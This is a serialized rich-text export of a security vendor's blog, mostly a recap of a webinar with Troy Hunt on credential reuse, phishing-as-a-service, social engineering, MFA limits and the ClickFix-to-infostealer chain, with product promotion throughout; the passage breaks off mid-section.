{"data":36814,"content":36815,"nodeType":866},{},[36816,36819,36826,36829,36836],{"data":36817,"marks":36818,"value":4375,"nodeType":865},{},[],{"data":36820,"content":36821,"nodeType":882},{"uri":4378},[36822],{"data":36823,"marks":36824,"value":4384,"nodeType":865},{},[36825],{"type":961},{"data":36827,"marks":36828,"value":4388,"nodeType":865},{},[],{"data":36830,"content":36831,"nodeType":882},{"uri":4391},[36832],{"data":36833,"marks":36834,"value":4397,"nodeType":865},{},[36835],{"type":961},{"data":36837,"marks":36838,"value":4401,"nodeType":865},{},[],{"data":36840,"content":36841,"nodeType":866},{},[36842],{"data":36843,"marks":36844,"value":4408,"nodeType":865},{},[],{"data":36846,"content":36849,"nodeType":925},{"target":36847},{"sys":36848},{"id":4413,"type":922,"linkType":923},[],{"data":36851,"content":36852,"nodeType":866},{},[36853],{"data":36854,"marks":36855,"value":4421,"nodeType":865},{},[],{"data":36857,"content":36858,"nodeType":953},{},[],{"data":36860,"content":36861,"nodeType":963},{},[36862],{"data":36863,"marks":36864,"value":4432,"nodeType":865},{},[36865],{"type":961},{"data":36867,"content":36868,"nodeType":866},{},[36869],{"data":36870,"marks":36871,"value":4440,"nodeType":865},{},[36872],{"type":961},{"data":36874,"content":36875,"nodeType":866},{},[36876,36879,36883,36886,36893],{"data":36877,"marks":36878,"value":4447,"nodeType":865},{},[],{"data":36880,"marks":36881,"value":4452,"nodeType":865},{},[36882],{"type":944},{"data":36884,"marks":36885,"value":4456,"nodeType":865},{},[],{"data":36887,"content":36888,"nodeType":882},{"uri":4459},[36889],{"data":36890,"marks":36891,"value":4465,"nodeType":865},{},[36892],{"type":961},{"data":36894,"marks":36895,"value":4469,"nodeType":865},{},[],{"data":36897,"content":36898,"nodeType":866},{},[36899],{"data":36900,"marks":36901,"value":4476,"nodeType":865},{},[],{"data":36903,"content":36904,"nodeType":866},{},[36905],{"data":36906,"marks":36907,"value":4483,"nodeType":865},{},[],{"data":36909,"content":36910,"nodeType":866},{},[36911],{"data":36912,"marks":36913,"value":4490,"nodeType":865},{},[],{"data":36915,"content":36916,"nodeType":953},{},[],{"data":36918,"content":36919,"nodeType":963},{},[36920],{"data":36921,"marks":36922,"value":4501,"nodeType":865},{},[36923],{"type":961},{"data":36925,"content":36926,"nodeType":866},{},[36927],{"data":36928,"marks":36929,"value":4509,"nodeType":865},{},[36930],{"type":961},{"data":36932,"content":36933,"nodeType":866},{},[36934],{"data":36935,"marks":36936,"value":4516,"nodeType":865},{},[],{"data":36938,"content":36941,"nodeType":925},{"target":36939},{"sys":36940},{"id":4521,"type":922,"linkType":923},[],{"data":36943,"content":36944,"nodeType":866},{},[36945],{"data":36946,"marks":36947,"value":4529,"nodeType":865},{},[],{"data":36949,"content":36950,"nodeType":1049},{},[36951,36960],{"data":36952,"content":36953,"nodeType":1003},{},[36954],{"data":36955,"content":36956,"nodeType":866},{},[36957],{"data":36958,"marks":36959,"value":4542,"nodeType":865},{},[],{"data":36961,"content":36962,"nodeType":1003},{},[36963],{"data":36964,"content":36965,"nodeType":866},{},[36966],{"data":36967,"marks":36968,"value":4552,"nodeType":865},{},[],{"data":36970,"content":36971,"nodeType":866},{},[36972,36975,36982,36985,36989],{"data":36973,"marks":36974,"value":4559,"nodeType":865},{},[],{"data":36976,"content":36977,"nodeType":882},{"uri":4562},[36978],{"data":36979,"marks":36980,"value":4568,"nodeType":865},{},[36981],{"type":961},{"data":36983,"marks":36984,"value":4572,"nodeType":865},{},[],{"data":36986,"marks":36987,"value":4577,"nodeType":865},{},[36988],{"type":944},{"data":36990,"marks":36991,"value":4581,"nodeType":865},{},[],{"data":36993,"content":36994,"nodeType":953},{},[],{"data":36996,"content":36997,"nodeType":963},{},[36998],{"data":36999,"marks":37000,"value":4592,"nodeType":865},{},[37001],{"type":961},{"data":37003,"content":37004,"nodeType":866},{},[37005],{"data":37006,"marks":37007,"value":4600,"nodeType":865},{},[37008],{"type":961},{"data":37010,"content":37011,"nodeType":866},{},[37012],{"data":37013,"marks":37014,"value":4607,"nodeType":865},{},[],{"data":37016,"content":37017,"nodeType":866},{},[37018],{"data":37019,"marks":37020,"value":4614,"nodeType":865},{},[],{"data":37022,"content":37023,"nodeType":953},{},[],{"data":37025,"content":37026,"nodeType":963},{},[37027],{"data":37028,"marks":37029,"value":4625,"nodeType":865},{},[37030],{"type":961},{"data":37032,"content":37033,"nodeType":1049},{},[37034,37047,37060,37073],{"data":37035,"content":37036,"nodeType":1003},{},[37037],{"data":37038,"content":37039,"nodeType":866},{},[37040,37044],{"data":37041,"marks":37042,"value":4639,"nodeType":865},{},[37043],{"type":961},{"data":37045,"marks":37046,"value":4643,"nodeType":865},{},[],{"data":37048,"content":37049,"nodeType":1003},{},[37050],{"data":37051,"content":37052,"nodeType":866},{},[37053,37057],{"data":37054,"marks":37055,"value":4654,"nodeType":865},{},[37056],{"type":961},{"data":37058,"marks":37059,"value":4658,"nodeType":865},{},[],{"data":37061,"content":37062,"nodeType":1003},{},[37063],{"data":37064,"content":37065,"nodeType":866},{},[37066,37070],{"data":37067,"marks":37068,"value":4669,"nodeType":865},{},[37069],{"type":961},{"data":37071,"marks":37072,"value":4673,"nodeType":865},{},[],{"data":37074,"content":37075,"nodeType":1003},{},[37076],{"data":37077,"content":37078,"nodeType":866},{},[37079,37083],{"data":37080,"marks":37081,"value":781,"nodeType":865},{},[37082],{"type":961},{"data":37084,"marks":37085,"value":4687,"nodeType":865},{},[],{"data":37087,"content":37088,"nodeType":953},{},[],{"data":37090,"content":37091,"nodeType":963},{},[37092],{"data":37093,"marks":37094,"value":4698,"nodeType":865},{},[37095],{"type":961},{"data":37097,"content":37098,"nodeType":866},{},[37099],{"data":37100,"marks":37101,"value":4705,"nodeType":865},{},[],{"data":37103,"content":37104,"nodeType":2396},{},[37105,37128,37150,37172,37194,37216,37238,37260,37282,37304,37326,37348],{"data":37106,"content":37107,"nodeType":1869},{},[37108,37118],{"data":37109,"content":37110,"nodeType":1835},{},[37111],{"data":37112,"content":37113,"nodeType":866},{},[37114],{"data":37115,"marks":37116,"value":4722,"nodeType":865},{},[37117],{"type":961},{"data":37119,"content":37120,"nodeType":1835},{},[37121],{"data":37122,"content":37123,"nodeType":866},{},[37124],{"data":37125,"marks":37126,"value":4733,"nodeType":865},{},[37127],{"type":961},{"data":37129,"content":37130,"nodeType":1869},{},[37131,37141],{"data":37132,"content":37133,"nodeType":1835},{},[37134],{"data":37135,"content":37136,"nodeType":866},{},[37137],{"data":37138,"marks":37139,"value":4747,"nodeType":865},{},[37140],{"type":961},{"data":37142,"content":37143,"nodeType":1835},{},[37144],{"data":37145,"content":37146,"nodeType":866},{},[37147],{"data":37148,"marks":37149,"value":4757,"nodeType":865},{},[],{"data":37151,"content":37152,"nodeType":1869},{},[37153,37163],{"data":37154,"content":37155,"nodeType":1835},{},[37156],{"data":37157,"content":37158,"nodeType":866},{},[37159],{"data":37160,"marks":37161,"value":4771,"nodeType":865},{},[37162],{"type":961},{"data":37164,"content":37165,"nodeType":1835},{},[37166],{"data":37167,"content":37168,"nodeType":866},{},[37169],{"data":37170,"marks":37171,"value":4781,"nodeType":865},{},[],{"data":37173,"content":37174,"nodeType":1869},{},[37175,37185],{"data":37176,"content":37177,"nodeType":1835},{},[37178],{"data":37179,"content":37180,"nodeType":866},{},[37181],{"data":37182,"marks":37183,"value":4795,"nodeType":865},{},[37184],{"type":961},{"data":37186,"content":37187,"nodeType":1835},{},[37188],{"data":37189,"content":37190,"nodeType":866},{},[37191],{"data":37192,"marks":37193,"value":4805,"nodeType":865},{},[],{"data":37195,"content":37196,"nodeType":1869},{},[37197,37207],{"data":37198,"content":37199,"nodeType":1835},{},[37200],{"data":37201,"content":37202,"nodeType":866},{},[37203],{"data":37204,"marks":37205,"value":4819,"nodeType":865},{},[37206],{"type":961},{"data":37208,"content":37209,"nodeType":1835},{},[37210],{"data":37211,"content":37212,"nodeType":866},{},[37213],{"data":37214,"marks":37215,"value":4829,"nodeType":865},{},[],{"data":37217,"content":37218,"nodeType":1869},{},[37219,37229],{"data":37220,"content":37221,"nodeType":1835},{},[37222],{"data":37223,"content":37224,"nodeType":866},{},[37225],{"data":37226,"marks":37227,"value":4843,"nodeType":865},{},[37228],{"type":961},{"data":37230,"content":37231,"nodeType":1835},{},[37232],{"data":37233,"content":37234,"nodeType":866},{},[37235],{"data":37236,"marks":37237,"value":4853,"nodeType":865},{},[],{"data":37239,"content":37240,"nodeType":1869},{},[37241,37251],{"data":37242,"content":37243,"nodeType":1835},{},[37244],{"data":37245,"content":37246,"nodeType":866},{},[37247],{"data":37248,"marks":37249,"value":4867,"nodeType":865},{},[37250],{"type":961},{"data":37252,"content":37253,"nodeType":1835},{},[37254],{"data":37255,"content":37256,"nodeType":866},{},[37257],{"data":37258,"marks":37259,"value":4877,"nodeType":865},{},[],{"data":37261,"content":37262,"nodeType":1869},{},[37263,37273],{"data":37264,"content":37265,"nodeType":1835},{},[37266],{"data":37267,"content":37268,"nodeType":866},{},[37269],{"data":37270,"marks":37271,"value":4891,"nodeType":865},{},[37272],{"type":961},{"data":37274,"content":37275,"nodeType":1835},{},[37276],{"data":37277,"content":37278,"nodeType":866},{},[37279],{"data":37280,"marks":37281,"value":4901,"nodeType":865},{},[],{"data":37283,"content":37284,"nodeType":1869},{},[37285,37295],{"data":37286,"content":37287,"nodeType":1835},{},[37288],{"data":37289,"content":37290,"nodeType":866},{},[37291],{"data":37292,"marks":37293,"value":4915,"nodeType":865},{},[37294],{"type":961},{"data":37296,"content":37297,"nodeType":1835},{},[37298],{"data":37299,"content":37300,"nodeType":866},{},[37301],{"data":37302,"marks":37303,"value":4925,"nodeType":865},{},[],{"data":37305,"content":37306,"nodeType":1869},{},[37307,37317],{"data":37308,"content":37309,"nodeType":1835},{},[37310],{"data":37311,"content":37312,"nodeType":866},{},[37313],{"data":37314,"marks":37315,"value":4939,"nodeType":865},{},[37316],{"type":961},{"data":37318,"content":37319,"nodeType":1835},{},[37320],{"data":37321,"content":37322,"nodeType":866},{},[37323],{"data":37324,"marks":37325,"value":4949,"nodeType":865},{},[],{"data":37327,"content":37328,"nodeType":1869},{},[37329,37339],{"data":37330,"content":37331,"nodeType":1835},{},[37332],{"data":37333,"content":37334,"nodeType":866},{},[37335],{"data":37336,"marks":37337,"value":4963,"nodeType":865},{},[37338],{"type":961},{"data":37340,"content":37341,"nodeType":1835},{},[37342],{"data":37343,"content":37344,"nodeType":866},{},[37345],{"data":37346,"marks":37347,"value":4973,"nodeType":865},{},[],{"data":37349,"content":37350,"nodeType":1869},{},[37351,37361],{"data":37352,"content":37353,"nodeType":1835},{},[37354],{"data":37355,"content":37356,"nodeType":866},{},[37357],{"data":37358,"marks":37359,"value":4654,"nodeType":865},{},[37360],{"type":961},{"data":37362,"content":37363,"nodeType":1835},{},[37364],{"data":37365,"content":37366,"nodeType":866},{},[37367],{"data":37368,"marks":37369,"value":4996,"nodeType":865},{},[],{"data":37371,"content":37372,"nodeType":953},{},[],{"data":37374,"content":37375,"nodeType":866},{},[37376,37379,37385],{"data":37377,"marks":37378,"value":5006,"nodeType":865},{},[],{"data":37380,"content":37381,"nodeType":882},{"uri":1728},[37382],{"data":37383,"marks":37384,"value":2812,"nodeType":865},{},[],{"data":37386,"marks":37387,"value":21,"nodeType":865},{},[],{"items":37389},[37390,37392],{"sys":37391,"name":297},{"id":2828},{"sys":37393,"name":2825},{"id":2824},{"items":37395},[37396],{"fullName":5029,"firstName":5030,"jobTitle":3776,"profilePicture":37397},{"url":5032},"blog/enterprise-browser-vs-browser-extension-which-should-your-security-team-choose",{"json":37400},{"data":37401,"content":37402,"nodeType":1739},{},[37403],{"data":37404,"content":37405,"nodeType":866},{},[37406],{"data":37407,"marks":37408,"value":37409,"nodeType":865},{},[],"If you're building a shortlist of browser security vendors, one of the first decisions you hit is an architectural one: full-stack enterprise browser, or browser security extension? ",{"id":26522,"publishedAt":37411},"2026-08-12T11:52:48.566Z",{"items":37413},[37414,37416],{"sys":37415,"name":297},{"id":2828},{"sys":37417,"name":2825},{"id":2824},{"items":37419},[37420,37422,37424,37426,37428,37430,37432,37434,37436,37438,37440,37442],{"sys":37421,"name":297,"slug":298,"tier":31},{"id":294},{"sys":37423,"name":279,"slug":280,"tier":31},{"id":276},{"sys":37425,"name":413,"slug":414,"tier":31},{"id":410},{"sys":37427,"name":386,"slug":387,"tier":45},{"id":383},{"sys":37429,"name":377,"slug":378,"tier":45},{"id":374},{"sys":37431,"name":261,"slug":262,"tier":45},{"id":258},{"sys":37433,"name":315,"slug":316,"tier":45},{"id":312},{"sys":37435,"name":484,"slug":485,"tier":45},{"id":481},{"sys":37437,"name":288,"slug":289,"tier":45},{"id":285},{"sys":37439,"name":624,"slug":625,"tier":45},{"id":621},{"sys":37441,"name":306,"slug":307,"tier":45},{"id":303},{"sys":37443,"name":589,"slug":590,"tier":45},{"id":586},"UhLNLgojmxTmt5rogpt-WncHPs8GJpCJ3gCXZJLR1EE",{"id":37446,"title":37447,"authorsCollection":37448,"content":37452,"extension":228,"faqItemsCollection":38100,"faqTitle":59,"featured":6,"hashTags":59,"meta":38102,"metaTitle":38103,"ogImage":59,"postType":1783,"publishedDate":27750,"relatedBlogPostsCollection":38104,"slug":40396,"stem":40397,"subtitle":59,"summary":40398,"synopsis":40421,"sys":40422,"tagsCollection":40425,"topicsCollection":40431,"__hash__":40477},"blog/blog/7-things-we-learned-from-troy-hunt.json","Troy Hunt webinar recap: Lessons from 'Yes, you've been pwned' with Troy Hunt",{"items":37449},[37450],{"fullName":28907,"firstName":28908,"jobTitle":28909,"socialLinks":59,"profilePicture":37451},{"url":28911},{"json":37453,"links":38091},{"data":37454,"content":37455,"nodeType":1739},{},[37456,37463,37469,37472,37480,37498,37505,37512,37540,37558,37561,37569,37576,37604,37611,37614,37622,37629,37636,37675,37682,37685,37693,37724,37731,37738,37769,37772,37780,37800,37807,37825,37828,37836,37843,37861,37902,37905,37913,37920,37958,37987,38037,38040,38048,38055,38062],{"data":37457,"content":37458,"nodeType":866},{},[37459],{"data":37460,"marks":37461,"value":37462,"nodeType":865},{},[],"The thread running through the whole conversation was identity: how attackers get it, why defenders struggle to protect it, and what the current generation of attacks means for security teams that thought they'd solved the credential problem.",{"data":37464,"content":37468,"nodeType":925},{"target":37465},{"sys":37466},{"id":37467,"type":922,"linkType":923},"5dcYX9bbre53KdZOF6PsyH",[],{"data":37470,"content":37471,"nodeType":953},{},[],{"data":37473,"content":37474,"nodeType":963},{},[37475],{"data":37476,"marks":37477,"value":37479,"nodeType":865},{},[37478],{"type":961},"1. Compromised credentials are everywhere, and most organizations can't tell which ones matter",{"data":37481,"content":37482,"nodeType":866},{},[37483,37487,37494],{"data":37484,"marks":37485,"value":37486,"nodeType":865},{},[],"The scale of enterprise identity is the backdrop for the entire conversation. The average employee maintains around 15 SaaS accounts, and only a fraction of those sit behind SSO. Of the last million logins observed by Push, ",{"data":37488,"content":37489,"nodeType":882},{"uri":1335},[37490],{"data":37491,"marks":37492,"value":37493,"nodeType":865},{},[],"1 in 4 were password-based rather than SSO, 2 in 5 were not protected by MFA, and 1 in 5 used a weak, breached, or reused password",{"data":37495,"marks":37496,"value":37497,"nodeType":865},{},[],". That's the starting posture — before you even account for how many of those credentials have already been stolen.",{"data":37499,"content":37500,"nodeType":866},{},[37501],{"data":37502,"marks":37503,"value":37504,"nodeType":865},{},[],"Troy's data suggests the answer is: most of them. \"We know credential reuse is massive,\" he said. \"We know attackers get credentials from one data breach and then they go along and they try them on all sorts of different services, and now you've got one data breach leading to multiple account takeovers.\" His service now holds billions of email addresses, monitors 400,000 domains including more than half the Fortune 500, and sends millions of breach notifications every year.",{"data":37506,"content":37507,"nodeType":866},{},[37508],{"data":37509,"marks":37510,"value":37511,"nodeType":865},{},[],"The problem compounds because, as Troy put it, \"data never really dies.\" Employees leave, but their credentials persist in breach datasets and across the SaaS apps they signed up for during their tenure. When an organization pulls its breach exposure data, a significant proportion of what comes back is noise — departed employees, fabricated email addresses, accounts for services that were never sanctioned. Mark described the operational reality: getting a notification that an email address has appeared in a breach \"can be very helpful context, but can also be a recipe for spending some time only to find out that maybe that person left two years ago.\"",{"data":37513,"content":37514,"nodeType":866},{},[37515,37519,37526,37530,37536],{"data":37516,"marks":37517,"value":37518,"nodeType":865},{},[],"The proof is in the breaches. The ",{"data":37520,"content":37521,"nodeType":882},{"uri":3904},[37522],{"data":37523,"marks":37524,"value":37525,"nodeType":865},{},[],"Snowflake incident",{"data":37527,"marks":37528,"value":37529,"nodeType":865},{},[]," was the watershed example — 80% of the compromised accounts had prior breach exposure in datasets dating back to 2020, but without MFA enforcement and without visibility into which credentials were actively in use, those warnings went unanswered while attackers walked in through the front door. The accounts still had local, password-based logins enabled — ",{"data":37531,"content":37532,"nodeType":882},{"uri":10340},[37533],{"data":37534,"marks":37535,"value":10345,"nodeType":865},{},[],{"data":37537,"marks":37538,"value":37539,"nodeType":865},{},[]," that persisted even in environments that thought they'd moved to SSO.",{"data":37541,"content":37542,"nodeType":866},{},[37543,37547,37554],{"data":37544,"marks":37545,"value":37546,"nodeType":865},{},[],"Push's approach is to ",{"data":37548,"content":37549,"nodeType":882},{"uri":25806},[37550],{"data":37551,"marks":37552,"value":37553,"nodeType":865},{},[],"match breach intelligence against observed login behavior",{"data":37555,"marks":37556,"value":37557,"nodeType":865},{},[]," — correlating stolen credential feeds with the authentication events Push sees in the browser, so that a compromised credential only generates an alert when someone is actively logging in with it. That eliminates 99% of the false positives that make raw breach feeds so painful to operationalize, and turns a low-fidelity data source into something security teams can actually act on.",{"data":37559,"content":37560,"nodeType":953},{},[],{"data":37562,"content":37563,"nodeType":963},{},[37564],{"data":37565,"marks":37566,"value":37568,"nodeType":865},{},[37567],{"type":961},"2. Attacks aren't slowing down — they're industrializing",{"data":37570,"content":37571,"nodeType":866},{},[37572],{"data":37573,"marks":37574,"value":37575,"nodeType":865},{},[],"With that many vulnerable credentials sitting in circulation, the question is how easily attackers can exploit them — and the answer, as Troy described it, is easier than ever. \"There's almost like the democratization of hacking tools,\" he said. \"When you get all of these things as a service — phishing as a service, ransomware as a service — you don't need to be particularly technically smart if you can go and pay someone else for access to their infrastructure.\"",{"data":37577,"content":37578,"nodeType":866},{},[37579,37583,37589,37593,37600],{"data":37580,"marks":37581,"value":37582,"nodeType":865},{},[],"The criminal tooling ecosystem now mirrors legitimate SaaS: turnkey platforms with tiered pricing, customer support, and continuous development cycles. Phishing-as-a-Service kits like ",{"data":37584,"content":37585,"nodeType":882},{"uri":8581},[37586],{"data":37587,"marks":37588,"value":31672,"nodeType":865},{},[],{"data":37590,"marks":37591,"value":37592,"nodeType":865},{},[]," — responsible for 62% of phishing blocked by Microsoft — offer turnkey AiTM infrastructure that intercepts session tokens in real time and bypasses MFA out of the box. The kits are also converging: AiTM platforms are adding device code phishing modules, credential harvesting kits are adding session token capture, and ",{"data":37594,"content":37595,"nodeType":882},{"uri":3620},[37596],{"data":37597,"marks":37598,"value":37599,"nodeType":865},{},[],"60–70% of phishing attacks now originate from PhaaS platforms",{"data":37601,"marks":37602,"value":37603,"nodeType":865},{},[],". The sophistication of the attack no longer reflects the sophistication of the attacker.",{"data":37605,"content":37606,"nodeType":866},{},[37607],{"data":37608,"marks":37609,"value":37610,"nodeType":865},{},[],"As Troy said: \"If you look at this through the lens of the moral neutrality of technology, that rising tide lifts all boats. And some of those boats are criminals who can now do things easier than before.\"",{"data":37612,"content":37613,"nodeType":953},{},[],{"data":37615,"content":37616,"nodeType":963},{},[37617],{"data":37618,"marks":37619,"value":37621,"nodeType":865},{},[37620],{"type":961},"3. You don't need to be a hacker to breach a Fortune 100 company",{"data":37623,"content":37624,"nodeType":866},{},[37625],{"data":37626,"marks":37627,"value":37628,"nodeType":865},{},[],"One of the most striking threads in the conversation was Troy's observation about who is actually behind these breaches — and how little technical sophistication they bring to the table. \"The average age of people that are being arrested for a lot of these data breach style activities is around about 19,\" he said. \"Fortune 100 companies are being breached by a kid in his bedroom. That is wild.\"",{"data":37630,"content":37631,"nodeType":866},{},[37632],{"data":37633,"marks":37634,"value":37635,"nodeType":865},{},[],"The leverage is disproportionate precisely because the attacks don't require deep technical skill. \"A lot of the attacks lately have been social engineering attacks,\" Troy continued, noting with parental familiarity that \"kids are great at social engineering — if you've got kids, you know how good they are at social engineering.\"",{"data":37637,"content":37638,"nodeType":866},{},[37639,37642,37649,37653,37660,37664,37671],{"data":37640,"marks":37641,"value":873,"nodeType":865},{},[],{"data":37643,"content":37644,"nodeType":882},{"uri":4236},[37645],{"data":37646,"marks":37647,"value":4241,"nodeType":865},{},[37648],{"type":997},{"data":37650,"marks":37651,"value":37652,"nodeType":865},{},[]," ecosystem — the group Troy and Mark discussed as the dominant threat actor at the time of recording — exemplifies this pattern. They're getting into Salesforce instances via voice phishing, not through zero-day exploits, and the tooling behind their campaigns is industrialized enough that Push's research team was able to ",{"data":37654,"content":37655,"nodeType":882},{"uri":12335},[37656],{"data":37657,"marks":37658,"value":37659,"nodeType":865},{},[],"infiltrate one of their criminal phishing panels",{"data":37661,"marks":37662,"value":37663,"nodeType":865},{},[]," and observe real-time victim targeting across four distinct infrastructure clusters and over 400 linked domains. Our ",{"data":37665,"content":37666,"nodeType":882},{"uri":4236},[37667],{"data":37668,"marks":37669,"value":37670,"nodeType":865},{},[],"analysis of the Instructure breach",{"data":37672,"marks":37673,"value":37674,"nodeType":865},{},[]," broke down the three core techniques behind these campaigns — credential phishing, AiTM attacks, and account takeover — none of which require particular technical sophistication to execute.",{"data":37676,"content":37677,"nodeType":866},{},[37678],{"data":37679,"marks":37680,"value":37681,"nodeType":865},{},[],"The reproducible playbook Troy described is an identity attack pattern, not a software vulnerability. \"Once you do get a group that manages to find a reproducible pattern to gain access to these things, the same pattern is used by so many different organizations\". And identity attacks scale precisely because they target the weakest link in the chain: the way people actually log in.",{"data":37683,"content":37684,"nodeType":953},{},[],{"data":37686,"content":37687,"nodeType":963},{},[37688],{"data":37689,"marks":37690,"value":37692,"nodeType":865},{},[37691],{"type":961},"4. Your attack surface is bigger than your org chart",{"data":37694,"content":37695,"nodeType":866},{},[37696,37700,37708,37712,37720],{"data":37697,"marks":37698,"value":37699,"nodeType":865},{},[],"Troy connected the credential problem to the broader reality of modern enterprise architecture: the attack surface isn't defined by your systems anymore — it's defined by every external dependency your employees touch. \"We're seeing attacks against the likes of Okta, because obviously Okta holds identity,\" he said. \"",{"data":37701,"content":37702,"nodeType":882},{"uri":4236},[37703],{"data":37704,"marks":37705,"value":37707,"nodeType":865},{},[37706],{"type":997},"Salesforce",{"data":37709,"marks":37710,"value":37711,"nodeType":865},{},[],", a couple of years ago it was things like ",{"data":37713,"content":37714,"nodeType":882},{"uri":3904},[37715],{"data":37716,"marks":37717,"value":37719,"nodeType":865},{},[37718],{"type":997},"Snowflake",{"data":37721,"marks":37722,"value":37723,"nodeType":865},{},[]," — these external dependencies, and then you have so many different entry points into them.\"",{"data":37725,"content":37726,"nodeType":866},{},[37727],{"data":37728,"marks":37729,"value":37730,"nodeType":865},{},[],"When Troy tried to describe the resulting complexity, the metaphor was telling: \"If you put all of this up on the board, sort of like crime fighter style and you draw the lines between everything, it's just an absolute spider web of interdependencies and access rights.\"",{"data":37732,"content":37733,"nodeType":866},{},[37734],{"data":37735,"marks":37736,"value":37737,"nodeType":865},{},[],"Mark made the point that the attack chain itself has shifted accordingly: \"The first part of the attack, the infostealer, might not even be something that happened in your environment. You're just gonna see the tail end of that attack chain.\" An employee's credentials get harvested from a personal device, sit in a criminal marketplace for months, and then get used to log into a SaaS app that your IdP doesn't even know exists — because the employee signed up with their corporate email and a reused password. With the average employee maintaining around 15 SaaS accounts, the organizational identity surface extends far beyond what any single IdP directory shows, and most of it is completely unmanaged.",{"data":37739,"content":37740,"nodeType":866},{},[37741,37745,37754,37758,37766],{"data":37742,"marks":37743,"value":37744,"nodeType":865},{},[],"This is the identity surface area Push is built to make visible: ",{"data":37746,"content":37748,"nodeType":882},{"uri":37747},"https://pushsecurity.com/uc/shadow-saas",[37749],{"data":37750,"marks":37751,"value":37753,"nodeType":865},{},[37752],{"type":997},"shadow SaaS",{"data":37755,"marks":37756,"value":37757,"nodeType":865},{},[]," discovered through actual login events, authentication methods observed at the point of login, and the gap between what your IdP thinks is happening and ",{"data":37759,"content":37760,"nodeType":882},{"uri":10340},[37761],{"data":37762,"marks":37763,"value":37765,"nodeType":865},{},[37764],{"type":997},"how people are actually authenticating",{"data":37767,"marks":37768,"value":1048,"nodeType":865},{},[],{"data":37770,"content":37771,"nodeType":953},{},[],{"data":37773,"content":37774,"nodeType":963},{},[37775],{"data":37776,"marks":37777,"value":37779,"nodeType":865},{},[37778],{"type":961},"5. Even Troy Hunt got phished, showing the need for stronger technical protections, not just more awareness training ",{"data":37781,"content":37782,"nodeType":866},{},[37783,37787,37796],{"data":37784,"marks":37785,"value":37786,"nodeType":865},{},[],"Troy recounted the story of his ",{"data":37788,"content":37790,"nodeType":882},{"uri":37789},"https://pushsecurity.com/blog/dissecting-a-recent-mailchimp-phishing-attack/",[37791],{"data":37792,"marks":37793,"value":37795,"nodeType":865},{},[37794],{"type":997},"own phishing incident",{"data":37797,"marks":37798,"value":37799,"nodeType":865},{},[],". \"My password out of 1Password got phished. My OTP out of 1Password got phished because it was a phishable form of 2FA,\" he said. \"And as a result, my mailing list got exposed. So I had to put my own mailing list into Have I Been Pwned and then email all my subscribers, which was, to be honest, slightly embarrassing.\"",{"data":37801,"content":37802,"nodeType":866},{},[37803],{"data":37804,"marks":37805,"value":37806,"nodeType":865},{},[],"If the person who runs Have I Been Pwned — someone who has spent over a decade immersed in breach data and credential security — can get phished, the lesson clearly isn't \"pay more attention.\" Troy was explicit about the takeaway: \"It reinforces the need for technical controls that are separate and complementary to the human controls. In my own case, the human controls broke down. Unfortunately there weren't sufficient technical controls in order to save me from myself.\"",{"data":37808,"content":37809,"nodeType":866},{},[37810,37814,37821],{"data":37811,"marks":37812,"value":37813,"nodeType":865},{},[],"Mark pushed the point further during the Q&A: \"Expecting users, even well-educated ones, even security practitioners, to be able to differentiate — I think that's just not a reasonable expectation.\" When phishing arrives from ",{"data":37815,"content":37816,"nodeType":882},{"uri":3620},[37817],{"data":37818,"marks":37819,"value":37820,"nodeType":865},{},[],"legitimate domains via notification pipeline abuse",{"data":37822,"marks":37823,"value":37824,"nodeType":865},{},[],", from compromised contacts on LinkedIn, and from sponsored Google search results  the signals users were trained to look for simply don't exist anymore. Training remains valuable as a layer, but the structural argument for technical controls inside the browser was reinforced throughout the session.",{"data":37826,"content":37827,"nodeType":953},{},[],{"data":37829,"content":37830,"nodeType":963},{},[37831],{"data":37832,"marks":37833,"value":37835,"nodeType":865},{},[37834],{"type":961},"6. MFA is necessary but it's not the finish line",{"data":37837,"content":37838,"nodeType":866},{},[37839],{"data":37840,"marks":37841,"value":37842,"nodeType":865},{},[],"Both speakers returned to MFA multiple times, and the consensus was clear: any MFA beats no MFA, but treating it as a solved problem is dangerous. Troy was direct: \"You can have the world's best non-phishable 2FA. But an infostealer gets you cookie material and they can replay that and it had browser fingerprints and things in it as well, then you've still got a problem.\" ",{"data":37844,"content":37845,"nodeType":866},{},[37846,37850,37857],{"data":37847,"marks":37848,"value":37849,"nodeType":865},{},[],"Mark reinforced this: \"We're seeing a lot of post-authentication attacks — session hijacking, consent attacks — where you can have the strongest authentication methods available, but if you're sidestepping or doing a post-authentication action, that's really not gonna matter.\" And with ",{"data":37851,"content":37852,"nodeType":882},{"uri":1335},[37853],{"data":37854,"marks":37855,"value":37856,"nodeType":865},{},[],"2 in 5 logins observed by Push still lacking MFA at all",{"data":37858,"marks":37859,"value":37860,"nodeType":865},{},[],", many organizations haven't yet reached the baseline where post-authentication attacks are even the primary concern — they're still exposed to straightforward credential-based compromise at scale.",{"data":37862,"content":37863,"nodeType":866},{},[37864,37868,37876,37880,37887,37891,37898],{"data":37865,"marks":37866,"value":37867,"nodeType":865},{},[],"Push addresses both halves: ",{"data":37869,"content":37871,"nodeType":882},{"uri":37870},"https://pushsecurity.com/blog/introducing-set-and-forget-controls-that-stop-real-world-identity-attacks/",[37872],{"data":37873,"marks":37874,"value":37875,"nodeType":865},{},[],"MFA enforcement guardrails",{"data":37877,"marks":37878,"value":37879,"nodeType":865},{},[]," surface where MFA is missing and guide users toward enrollment, while ",{"data":37881,"content":37882,"nodeType":882},{"uri":5481},[37883],{"data":37884,"marks":37885,"value":37886,"nodeType":865},{},[],"session hijacking detection",{"data":37888,"marks":37889,"value":37890,"nodeType":865},{},[]," and",{"data":37892,"content":37893,"nodeType":882},{"uri":1384},[37894],{"data":37895,"marks":37896,"value":37897,"nodeType":865},{},[]," authorization attack protections",{"data":37899,"marks":37900,"value":37901,"nodeType":865},{},[]," — including device code phishing detection and OAuth consent monitoring — catch the post-authentication attacks MFA was never designed to stop.",{"data":37903,"content":37904,"nodeType":953},{},[],{"data":37906,"content":37907,"nodeType":963},{},[37908],{"data":37909,"marks":37910,"value":37912,"nodeType":865},{},[37911],{"type":961},"7. The ClickFix-to-infostealer-to-account takeover flywheel",{"data":37914,"content":37915,"nodeType":866},{},[37916],{"data":37917,"marks":37918,"value":37919,"nodeType":865},{},[],"The final thread that ran through the conversation was the self-reinforcing nature of the modern attack chain. Mark laid out the cycle explicitly: \"ClickFix to infostealer to account takeover, which results then in maybe more ad account takeover, so we distribute more ClickFix and it just kind of has this compounding effect.\"",{"data":37921,"content":37922,"nodeType":866},{},[37923,37927,37933,37937,37943,37947,37954],{"data":37924,"marks":37925,"value":37926,"nodeType":865},{},[],"This isn't a linear attack path — it's a flywheel. 